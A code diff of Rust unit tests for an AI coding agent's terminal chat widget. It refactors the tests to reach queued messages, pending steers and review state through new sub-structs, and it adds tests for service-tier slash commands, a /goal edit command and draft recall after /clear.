/// Entering review mode renders the current changes banner when requested.
@@ -121,7 +121,7 @@ async fn entered_review_mode_defaults_to_current_changes_banner() {
let cells = drain_insert_history(&mut rx);
let banner = lines_to_single_string(cells.last().expect("review banner"));
assert_eq!(banner, ">> Code review started: current changes <<\n");
assert!(chat.is_review_mode);
assert!(chat.review.is_review_mode);
}
#[tokio::test]
@@ -200,13 +200,14 @@ async fn steer_rejection_queues_review_follow_up_before_existing_queued_messages
handle_turn_started(&mut chat, "turn-1");
handle_entered_review_mode(&mut chat, "feature branch");
let _ = drain_insert_history(&mut rx);
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("queued later").into());
chat.submit_user_message(UserMessage::from("review follow-up one"));
chat.submit_user_message(UserMessage::from("review follow-up two"));
assert_eq!(chat.pending_steers.len(), 2);
assert_eq!(chat.input_queue.pending_steers.len(), 2);
match next_submit_op(&mut op_rx) {
Op::UserTurn { items, .. } => assert_eq!(
items,
@@ -243,7 +244,7 @@ async fn steer_rejection_queues_review_follow_up_before_existing_queued_messages
}),
);
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
assert_eq!(
chat.queued_user_message_texts(),
vec![
@@ -328,7 +329,7 @@ async fn review_restores_context_window_indicator() {
let _ = drain_insert_history(&mut rx);
assert_eq!(chat.bottom_pane.context_window_percent(), Some(30));
assert!(!chat.is_review_mode);
assert!(!chat.review.is_review_mode);
}
#[tokio::test]
@@ -367,13 +368,18 @@ async fn restore_thread_input_state_restores_pending_steers_without_downgrading_
chat.queued_user_message_texts(),
vec!["already rejected", "queued draft"]
);
assert_eq!(chat.pending_steers.len(), 1);
assert_eq!(chat.input_queue.pending_steers.len(), 1);
assert_eq!(
chat.pending_steers.front().unwrap().user_message.text,
chat.input_queue
.pending_steers
.front()
.unwrap()
.user_message
.text,
"pending steer"
);
assert_eq!(
chat.pending_steers.front().unwrap().compare_key,
chat.input_queue.pending_steers.front().unwrap().compare_key,
expected_compare_key
);
}
@@ -395,12 +401,12 @@ async fn steer_enter_queues_while_plan_stream_is_active() {
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert_eq!(chat.active_collaboration_mode_kind(), ModeKind::Plan);
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert_eq!(
chat.queued_user_messages.front().unwrap().text,
chat.input_queue.queued_user_messages.front().unwrap().text,
"queued submission"
);
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
assert_no_submit_op(&mut op_rx);
assert!(drain_insert_history(&mut rx).is_empty());
}
@@ -415,10 +421,15 @@ async fn steer_enter_uses_pending_steers_while_turn_is_running_without_streaming
.set_composer_text("queued while running".to_string(), Vec::new(), Vec::new());
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert!(chat.queued_user_messages.is_empty());
assert_eq!(chat.pending_steers.len(), 1);
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_eq!(chat.input_queue.pending_steers.len(), 1);
assert_eq!(
chat.pending_steers.front().unwrap().user_message.text,
chat.input_queue
.pending_steers
.front()
.unwrap()
.user_message
.text,
"queued while running"
);
match next_submit_op(&mut op_rx) {
@@ -429,7 +440,7 @@ async fn steer_enter_uses_pending_steers_while_turn_is_running_without_streaming
complete_user_message(&mut chat, "user-1", "queued while running");
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
let inserted = drain_insert_history(&mut rx);
assert_eq!(inserted.len(), 1);
assert!(lines_to_single_string(&inserted[0]).contains("queued while running"));
@@ -451,10 +462,15 @@ async fn steer_enter_uses_pending_steers_while_final_answer_stream_is_active() {
);
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert!(chat.queued_user_messages.is_empty());
assert_eq!(chat.pending_steers.len(), 1);
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_eq!(chat.input_queue.pending_steers.len(), 1);
assert_eq!(
chat.pending_steers.front().unwrap().user_message.text,
chat.input_queue
.pending_steers
.front()
.unwrap()
.user_message
.text,
"queued while streaming"
);
match next_submit_op(&mut op_rx) {
@@ -465,7 +481,7 @@ async fn steer_enter_uses_pending_steers_while_final_answer_stream_is_active() {
complete_user_message(&mut chat, "user-1", "queued while streaming");
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
let inserted = drain_insert_history(&mut rx);
assert_eq!(inserted.len(), 1);
assert!(lines_to_single_string(&inserted[0]).contains("queued while streaming"));
@@ -485,23 +501,32 @@ async fn failed_pending_steer_submit_does_not_add_pending_preview() {
);
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert!(chat.pending_steers.is_empty());
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
assert!(drain_insert_history(&mut rx).is_empty());
}
#[tokio::test]
async fn item_completed_only_pops_front_pending_steer() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.pending_steers.push_back(pending_steer("first"));
chat.pending_steers.push_back(pending_steer("second"));
chat.input_queue
.pending_steers
.push_back(pending_steer("first"));
chat.input_queue
.pending_steers
.push_back(pending_steer("second"));
chat.refresh_pending_input_preview();
complete_user_message(&mut chat, "user-other", "other");
assert_eq!(chat.pending_steers.len(), 2);
assert_eq!(chat.input_queue.pending_steers.len(), 2);
assert_eq!(
chat.pending_steers.front().unwrap().user_message.text,
chat.input_queue
.pending_steers
.front()
.unwrap()
.user_message
.text,
"first"
);
let inserted = drain_insert_history(&mut rx);
@@ -510,9 +535,14 @@ async fn item_completed_only_pops_front_pending_steer() {
complete_user_message(&mut chat, "user-first", "first");
assert_eq!(chat.pending_steers.len(), 1);
assert_eq!(chat.input_queue.pending_steers.len(), 1);
assert_eq!(
chat.pending_steers.front().unwrap().user_message.text,
chat.input_queue
.pending_steers
.front()
.unwrap()
.user_message
.text,
"second"
);
let inserted = drain_insert_history(&mut rx);
@@ -553,8 +583,8 @@ async fn item_completed_pops_pending_steer_with_local_image_and_text_elements()
other => panic!("expected Op::UserTurn, got {other:?}"),
}
assert_eq!(chat.pending_steers.len(), 1);
let pending = chat.pending_steers.front().unwrap();
assert_eq!(chat.input_queue.pending_steers.len(), 1);
let pending = chat.input_queue.pending_steers.front().unwrap();
assert_eq!(pending.user_message.local_images.len(), 1);
assert_eq!(pending.user_message.text_elements.len(), 1);
assert_eq!(pending.compare_key.message, text);
@@ -574,7 +604,7 @@ async fn item_completed_pops_pending_steer_with_local_image_and_text_elements()
],
);
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
let mut user_cell = None;
while let Ok(ev) = rx.try_recv() {
@@ -619,14 +649,24 @@ async fn steer_enter_during_final_stream_preserves_follow_up_prompts_in_order()
.set_composer_text("second follow-up".to_string(), Vec::new(), Vec::new());
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert!(chat.queued_user_messages.is_empty());
assert_eq!(chat.pending_steers.len(), 2);
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_eq!(chat.input_queue.pending_steers.len(), 2);
assert_eq!(
chat.pending_steers.front().unwrap().user_message.text,
chat.input_queue
.pending_steers
.front()
.unwrap()
.user_message
.text,
"first follow-up"
);
assert_eq!(
chat.pending_steers.back().unwrap().user_message.text,
chat.input_queue
.pending_steers
.back()
.unwrap()
.user_message
.text,
"second follow-up"
);
@@ -656,9 +696,14 @@ async fn steer_enter_during_final_stream_preserves_follow_up_prompts_in_order()
complete_user_message(&mut chat, "user-1", "first follow-up");
assert_eq!(chat.pending_steers.len(), 1);
assert_eq!(chat.input_queue.pending_steers.len(), 1);
assert_eq!(
chat.pending_steers.front().unwrap().user_message.text,
chat.input_queue
.pending_steers
.front()
.unwrap()
.user_message
.text,
"second follow-up"
);
let first_insert = drain_insert_history(&mut rx);
@@ -667,7 +712,7 @@ async fn steer_enter_during_final_stream_preserves_follow_up_prompts_in_order()
complete_user_message(&mut chat, "user-2", "second follow-up");
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
let second_insert = drain_insert_history(&mut rx);
assert_eq!(second_insert.len(), 1);
assert!(lines_to_single_string(&second_insert[0]).contains("second follow-up"));
@@ -691,7 +736,7 @@ async fn manual_interrupt_restores_pending_steers_to_composer() {
);
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert_eq!(chat.pending_steers.len(), 1);
assert_eq!(chat.input_queue.pending_steers.len(), 1);
match next_submit_op(&mut op_rx) {
Op::UserTurn { items, .. } => assert_eq!(
items,
@@ -706,7 +751,7 @@ async fn manual_interrupt_restores_pending_steers_to_composer() {
chat.on_interrupted_turn(TurnAbortReason::Interrupted);
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
assert_eq!(chat.bottom_pane.composer_text(), "queued while streaming");
assert_no_submit_op(&mut op_rx);
@@ -754,7 +799,8 @@ async fn esc_interrupt_sends_all_pending_steers_immediately_and_keeps_existing_d
other => panic!("expected Op::UserTurn, got {other:?}"),
}
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("queued draft".to_string()).into());
chat.refresh_pending_input_preview();
chat.bottom_pane
@@ -776,11 +822,11 @@ async fn esc_interrupt_sends_all_pending_steers_immediately_and_keeps_existing_d
other => panic!("expected merged pending steers to submit, got {other:?}"),
}
assert!(chat.pending_steers.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
assert_eq!(chat.bottom_pane.composer_text(), "still editing");
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert_eq!(
chat.queued_user_messages.front().unwrap().text,
chat.input_queue.queued_user_messages.front().unwrap().text,
"queued draft"
);
@@ -875,7 +921,8 @@ async fn manual_interrupt_restores_pending_steers_before_queued_messages() {
chat.bottom_pane
.set_composer_text("pending steer".to_string(), Vec::new(), Vec::new());
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("queued draft".to_string()).into());
chat.refresh_pending_input_preview();
@@ -893,8 +940,8 @@ async fn manual_interrupt_restores_pending_steers_before_queued_messages() {
chat.on_interrupted_turn(TurnAbortReason::Interrupted);
assert!(chat.pending_steers.is_empty());
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.pending_steers.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_eq!(
chat.bottom_pane.composer_text(),
"pending steer
@@ -1233,14 +1280,15 @@ async fn direct_budget_limited_turn_uses_budget_message_snapshot() {
#[tokio::test]
async fn budget_limited_turn_restores_queued_input_without_submitting() {
let (mut chat, _rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("follow-up after budget stop").into());
chat.refresh_pending_input_preview();
handle_turn_started(&mut chat, "turn-1");
handle_budget_limited_turn(&mut chat, "turn-1");
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_eq!(
chat.bottom_pane.composer_text(),
"follow-up after budget stop"
@@ -1255,8 +1303,10 @@ async fn budget_limited_turn_restores_queued_input_without_submitting() {
async fn interrupted_turn_pending_steers_message_snapshot() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.thread_id = Some(ThreadId::new());
chat.pending_steers.push_back(pending_steer("steer 1"));
chat.submit_pending_steers_after_interrupt = true;
chat.input_queue
.pending_steers
.push_back(pending_steer("steer 1"));
chat.input_queue.submit_pending_steers_after_interrupt = true;
handle_turn_started(&mut chat, "turn-1");
@@ -1358,10 +1408,15 @@ async fn enter_submits_steer_while_review_is_running() {
);
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert!(chat.queued_user_messages.is_empty());
assert_eq!(chat.pending_steers.len(), 1);
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_eq!(chat.input_queue.pending_steers.len(), 1);
assert_eq!(
chat.pending_steers.front().unwrap().user_message.text,
chat.input_queue
.pending_steers
.front()
.unwrap()
.user_message
.text,
"Steer submitted while /review was running."
);
match next_submit_op(&mut op_rx) {
+2 -2
View File
@@ -149,7 +149,7 @@ async fn slash_side_is_rejected_for_side_threads() {
#[tokio::test]
async fn slash_side_is_rejected_during_review_mode() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.is_review_mode = true;
chat.review.is_review_mode = true;
chat.dispatch_command(SlashCommand::Side);
@@ -216,7 +216,7 @@ async fn slash_side_without_args_starts_empty_side_conversation() {
op_rx.try_recv().is_err(),
"bare /side should not submit an op on the parent thread"
);
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
@@ -1,6 +1,15 @@
use super::*;
use crate::bottom_pane::slash_commands::ServiceTierCommand;
use pretty_assertions::assert_eq;
fn fast_tier_command() -> ServiceTierCommand {
ServiceTierCommand {
id: ServiceTier::Fast.request_value().to_string(),
name: "fast".to_string(),
description: "Fastest inference with increased plan usage".to_string(),
}
}
fn complete_turn_with_message(chat: &mut ChatWidget, turn_id: &str, message: Option<&str>) {
if let Some(message) = message {
complete_assistant_message(
@@ -38,19 +47,39 @@ fn recall_latest_after_clearing(chat: &mut ChatWidget) -> String {
chat.bottom_pane.composer_text()
}
fn next_add_to_history_op(op_rx: &mut tokio::sync::mpsc::UnboundedReceiver<Op>) -> String {
fn next_add_to_history_event(rx: &mut tokio::sync::mpsc::UnboundedReceiver<AppEvent>) -> String {
loop {
match op_rx.try_recv() {
Ok(Op::AddToHistory { text }) => return text,
match rx.try_recv() {
Ok(AppEvent::AppendMessageHistoryEntry { text, .. }) => return text,
Ok(_) => continue,
Err(TryRecvError::Empty) => panic!("expected AddToHistory op but queue was empty"),
Err(TryRecvError::Empty) => {
panic!("expected AppendMessageHistoryEntry event but queue was empty")
}
Err(TryRecvError::Disconnected) => {
panic!("expected AddToHistory op but channel closed")
panic!("expected AppendMessageHistoryEntry event but channel closed")
}
}
}
}
#[tokio::test]
async fn service_tier_commands_lowercase_catalog_names() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(Some("gpt-5.4")).await;
let mut preset = get_available_model(&chat, "gpt-5.4");
let expected_description = preset.service_tiers[0].description.clone();
preset.service_tiers[0].name = "Fast".to_string();
chat.model_catalog = std::sync::Arc::new(ModelCatalog::new(vec![preset]));
assert_eq!(
chat.current_model_service_tier_commands(),
vec![ServiceTierCommand {
id: ServiceTier::Fast.request_value().to_string(),
name: "fast".to_string(),
description: expected_description,
}]
);
}
#[tokio::test]
async fn slash_compact_eagerly_queues_follow_up_before_turn_start() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
@@ -70,10 +99,10 @@ async fn slash_compact_eagerly_queues_follow_up_before_turn_start() {
);
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert!(chat.pending_steers.is_empty());
assert_eq!(chat.queued_user_messages.len(), 1);
assert!(chat.input_queue.pending_steers.is_empty());
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert_eq!(
chat.queued_user_messages.front().unwrap().text,
chat.input_queue.queued_user_messages.front().unwrap().text,
"queued before compact turn start"
);
assert_matches!(op_rx.try_recv(), Err(TryRecvError::Empty));
@@ -87,9 +116,13 @@ async fn queued_slash_compact_dispatches_after_active_turn() {
queue_composer_text_with_tab(&mut chat, "/compact");
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert_eq!(
chat.queued_user_messages.front().unwrap().action,
chat.input_queue
.queued_user_messages
.front()
.unwrap()
.action,
QueuedInputAction::ParseSlash
);
assert_matches!(rx.try_recv(), Err(TryRecvError::Empty));
@@ -116,15 +149,6 @@ async fn queued_slash_review_with_args_dispatches_after_active_turn() {
complete_turn_with_message(&mut chat, "turn-1", Some("done"));
match op_rx.try_recv() {
Ok(Op::AddToHistory { .. }) => match op_rx.try_recv() {
Ok(Op::Review { target }) => assert_eq!(
target,
ReviewTarget::Custom {
instructions: "check regressions".to_string(),
}
),
other => panic!("expected queued /review to submit review op, got {other:?}"),
},
Ok(Op::Review { target }) => assert_eq!(
target,
ReviewTarget::Custom {
@@ -152,15 +176,19 @@ async fn queued_slash_review_with_args_restores_for_edit() {
#[tokio::test]
async fn queued_bang_shell_dispatches_after_active_turn() {
let (mut chat, _rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.thread_id = Some(ThreadId::new());
handle_turn_started(&mut chat, "turn-1");
queue_composer_text_with_tab(&mut chat, "!echo hi");
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert_eq!(
chat.queued_user_messages.front().unwrap().action,
chat.input_queue
.queued_user_messages
.front()
.unwrap()
.action,
QueuedInputAction::RunShell
);
assert_matches!(op_rx.try_recv(), Err(TryRecvError::Empty));
@@ -171,11 +199,8 @@ async fn queued_bang_shell_dispatches_after_active_turn() {
Ok(Op::RunUserShellCommand { command }) => assert_eq!(command, "echo hi"),
other => panic!("expected queued shell command op, got {other:?}"),
}
assert_matches!(
op_rx.try_recv(),
Ok(Op::AddToHistory { text }) if text == "!echo hi"
);
assert!(chat.queued_user_messages.is_empty());
assert_eq!(next_add_to_history_event(&mut rx), "!echo hi");
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
@@ -212,12 +237,12 @@ async fn queued_empty_bang_shell_reports_help_when_dequeued_and_drains_next_inpu
),
other => panic!("expected queued message after empty shell command, got {other:?}"),
}
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
async fn queued_bang_shell_waits_for_user_shell_completion_before_next_input() {
let (mut chat, _rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.thread_id = Some(ThreadId::new());
handle_turn_started(&mut chat, "turn-1");
@@ -230,11 +255,8 @@ async fn queued_bang_shell_waits_for_user_shell_completion_before_next_input() {
Ok(Op::RunUserShellCommand { command }) => assert_eq!(command, "echo hi"),
other => panic!("expected queued shell command op, got {other:?}"),
}
assert_matches!(
op_rx.try_recv(),
Ok(Op::AddToHistory { text }) if text == "!echo hi"
);
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(next_add_to_history_event(&mut rx), "!echo hi");
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
let begin = begin_exec_with_source(
&mut chat,
@@ -254,7 +276,7 @@ async fn queued_bang_shell_waits_for_user_shell_completion_before_next_input() {
),
other => panic!("expected queued message after shell completion, got {other:?}"),
}
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
async fn assert_cancelled_queued_menu_drains_next_input(command: &str, expected_popup_text: &str) {
@@ -267,7 +289,7 @@ async fn assert_cancelled_queued_menu_drains_next_input(command: &str, expected_
complete_turn_with_message(&mut chat, "turn-1", Some("done"));
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
let popup = render_bottom_popup(&chat, /*width*/ 80);
assert!(
popup.contains(expected_popup_text),
@@ -287,7 +309,7 @@ async fn assert_cancelled_queued_menu_drains_next_input(command: &str, expected_
),
other => panic!("expected queued message after cancelling {command}, got {other:?}"),
}
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
@@ -326,7 +348,7 @@ async fn queued_slash_menu_selection_drains_next_input() {
),
other => panic!("expected queued message after permissions selection, got {other:?}"),
}
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
@@ -341,7 +363,7 @@ async fn queued_bare_rename_drains_next_input_after_name_update() {
complete_turn_with_message(&mut chat, "turn-1", Some("done"));
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert!(render_bottom_popup(&chat, /*width*/ 80).contains("Name thread"));
assert_matches!(op_rx.try_recv(), Err(TryRecvError::Empty));
@@ -377,7 +399,7 @@ async fn queued_bare_rename_drains_next_input_after_name_update() {
),
other => panic!("expected queued message after /rename, got {other:?}"),
}
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
@@ -412,10 +434,10 @@ async fn queued_inline_rename_does_not_drain_again_before_turn_started() {
),
other => panic!("expected first queued message after /rename, got {other:?}"),
}
assert_matches!(
op_rx.try_recv(),
Ok(Op::AddToHistory { text }) if text == "first after rename"
);
assert!(events.iter().any(|event| matches!(
event,
AppEvent::AppendMessageHistoryEntry { text, .. } if text == "first after rename"
)));
assert_eq!(
chat.queued_user_message_texts(),
vec!["second after rename"]
@@ -423,9 +445,9 @@ async fn queued_inline_rename_does_not_drain_again_before_turn_started() {
let input_state = chat.capture_thread_input_state().unwrap();
assert!(input_state.user_turn_pending_start);
chat.restore_thread_input_state(/*input_state*/ None);
assert!(!chat.user_turn_pending_start);
assert!(!chat.input_queue.user_turn_pending_start);
chat.restore_thread_input_state(Some(input_state));
assert!(chat.user_turn_pending_start);
assert!(chat.input_queue.user_turn_pending_start);
assert_eq!(
chat.queued_user_message_texts(),
vec!["second after rename"]
@@ -460,7 +482,7 @@ async fn queued_inline_rename_does_not_drain_again_before_turn_started() {
),
other => panic!("expected second queued message after turn complete, got {other:?}"),
}
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
@@ -485,7 +507,7 @@ async fn queued_unknown_slash_reports_error_when_dequeued() {
rendered.contains("Unrecognized command '/does-not-exist'"),
"expected delayed slash error, got {rendered:?}"
);
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
@@ -725,6 +747,27 @@ async fn goal_control_slash_commands_emit_goal_events() {
}
}
#[tokio::test]
async fn goal_edit_slash_command_opens_goal_editor() {
for thread_id in [Some(ThreadId::new()), None] {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.set_feature_enabled(Feature::Goals, /*enabled*/ true);
chat.thread_id = thread_id;
submit_composer_text(&mut chat, "/goal edit");
let event = rx.try_recv().expect("expected goal editor event");
let AppEvent::OpenThreadGoalEditor {
thread_id: actual_thread_id,
} = event
else {
panic!("expected OpenThreadGoalEditor, got {event:?}");
};
assert_eq!(actual_thread_id, thread_id);
assert_no_submit_op(&mut op_rx);
}
}
#[tokio::test]
async fn queued_goal_slash_command_emits_set_goal_event_after_thread_starts() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
@@ -732,7 +775,7 @@ async fn queued_goal_slash_command_emits_set_goal_event_after_thread_starts() {
let command = "/goal improve benchmark coverage";
submit_composer_text(&mut chat, command);
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert_matches!(op_rx.try_recv(), Err(TryRecvError::Empty));
let thread_id = ThreadId::new();
@@ -945,7 +988,7 @@ fn merged_history_record_remaps_override_image_placeholders() {
#[tokio::test]
async fn interrupted_merged_message_history_encodes_mentions_once() {
let (mut chat, _rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.thread_id = Some(ThreadId::new());
chat.on_task_started();
chat.on_agent_message_delta("Final answer line\n".to_string());
@@ -977,7 +1020,7 @@ async fn interrupted_merged_message_history_encodes_mentions_once() {
other => panic!("expected user turn, got {other:?}"),
}
let encoded = "use [$figma](app://figma) now";
assert_eq!(next_add_to_history_op(&mut op_rx), encoded);
assert_eq!(next_add_to_history_event(&mut rx), encoded);
chat.handle_key_event(KeyEvent::new(KeyCode::Esc, KeyModifiers::NONE));
next_interrupt_op(&mut op_rx);
@@ -997,7 +1040,7 @@ async fn interrupted_merged_message_history_encodes_mentions_once() {
}
other => panic!("expected resubmitted user turn, got {other:?}"),
}
assert_eq!(next_add_to_history_op(&mut op_rx), encoded);
assert_eq!(next_add_to_history_event(&mut rx), encoded);
}
#[tokio::test]
@@ -1036,9 +1079,8 @@ async fn slash_rename_without_existing_thread_name_starts_empty() {
#[tokio::test]
async fn usage_error_slash_command_is_available_from_local_recall() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(Some("gpt-5.3-codex")).await;
chat.set_feature_enabled(Feature::FastMode, /*enabled*/ true);
submit_composer_text(&mut chat, "/fast maybe");
submit_composer_text(&mut chat, "/raw maybe");
assert_eq!(chat.bottom_pane.composer_text(), "");
@@ -1049,10 +1091,10 @@ async fn usage_error_slash_command_is_available_from_local_recall() {
.collect::<Vec<_>>()
.join("\n");
assert!(
rendered.contains("Usage: /fast [on|off|status]"),
rendered.contains("Usage: /raw [on|off]"),
"expected usage message, got: {rendered:?}"
);
assert_eq!(recall_latest_after_clearing(&mut chat), "/fast maybe");
assert_eq!(recall_latest_after_clearing(&mut chat), "/raw maybe");
}
#[tokio::test]
@@ -1360,7 +1402,7 @@ async fn copy_shortcut_can_be_remapped() {
#[tokio::test]
async fn slash_copy_stores_clipboard_lease_and_preserves_it_on_failure() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.last_agent_markdown = Some("copy me".to_string());
chat.transcript.last_agent_markdown = Some("copy me".to_string());
chat.copy_last_agent_markdown_with(|markdown| {
assert_eq!(markdown, "copy me");
@@ -1483,7 +1525,7 @@ async fn queued_follow_up_suppresses_agent_turn_complete_notification() {
complete_turn_with_message(&mut chat, "turn-1", Some("Still working"));
assert_matches!(chat.pending_notification, None);
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_matches!(next_submit_op(&mut op_rx), Op::UserTurn { .. });
}
@@ -1594,6 +1636,37 @@ async fn slash_clear_requests_ui_clear_when_idle() {
assert_matches!(rx.try_recv(), Ok(AppEvent::ClearUi));
}
#[tokio::test]
async fn slash_clear_after_ctrl_c_keeps_stashed_draft_recallable() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let thread_id = ThreadId::new();
chat.thread_id = Some(thread_id);
chat.bottom_pane
.set_history_metadata(thread_id, /*log_id*/ 1, /*entry_count*/ 0);
submit_composer_text(&mut chat, "ok");
assert_eq!(next_add_to_history_event(&mut rx), "ok");
let stashed_draft = "explain why history recall lost this draft";
chat.bottom_pane
.set_composer_text(stashed_draft.to_string(), Vec::new(), Vec::new());
chat.handle_key_event(KeyEvent::new(KeyCode::Char('c'), KeyModifiers::CONTROL));
assert_eq!(chat.bottom_pane.composer_text(), "");
assert_eq!(next_add_to_history_event(&mut rx), stashed_draft);
chat.bottom_pane
.set_composer_text("/clear".to_string(), Vec::new(), Vec::new());
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert_matches!(rx.try_recv(), Ok(AppEvent::ClearUi));
chat.handle_key_event(KeyEvent::new(KeyCode::Up, KeyModifiers::NONE));
assert_eq!(chat.bottom_pane.composer_text(), stashed_draft);
chat.handle_key_event(KeyEvent::new(KeyCode::Up, KeyModifiers::NONE));
assert_eq!(chat.bottom_pane.composer_text(), "ok");
}
#[tokio::test]
async fn slash_clear_is_disabled_while_task_running() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
@@ -1793,19 +1866,20 @@ async fn slash_rollout_handles_missing_path() {
#[tokio::test]
async fn fast_slash_command_updates_and_persists_local_service_tier() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.3-codex")).await;
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.4")).await;
set_fast_mode_test_catalog(&mut chat);
chat.set_feature_enabled(Feature::FastMode, /*enabled*/ true);
chat.dispatch_command(SlashCommand::Fast);
chat.handle_service_tier_command_dispatch(fast_tier_command());
let events = std::iter::from_fn(|| rx.try_recv().ok()).collect::<Vec<_>>();
assert!(
events.iter().any(|event| matches!(
event,
AppEvent::CodexOp(Op::OverrideTurnContext {
service_tier: Some(Some(ServiceTier::Fast)),
service_tier: Some(Some(service_tier)),
..
})
}) if service_tier == ServiceTier::Fast.request_value()
)),
"expected fast-mode override app event; events: {events:?}"
);
@@ -1813,8 +1887,9 @@ async fn fast_slash_command_updates_and_persists_local_service_tier() {
events.iter().any(|event| matches!(
event,
AppEvent::PersistServiceTierSelection {
service_tier: Some(ServiceTier::Fast),
service_tier: Some(service_tier),
}
if service_tier == ServiceTier::Fast.request_value()
)),
"expected fast-mode persistence app event; events: {events:?}"
);
@@ -1824,7 +1899,8 @@ async fn fast_slash_command_updates_and_persists_local_service_tier() {
#[tokio::test]
async fn fast_keybinding_toggle_uses_same_events_as_fast_slash_command() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.3-codex")).await;
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5.4")).await;
set_fast_mode_test_catalog(&mut chat);
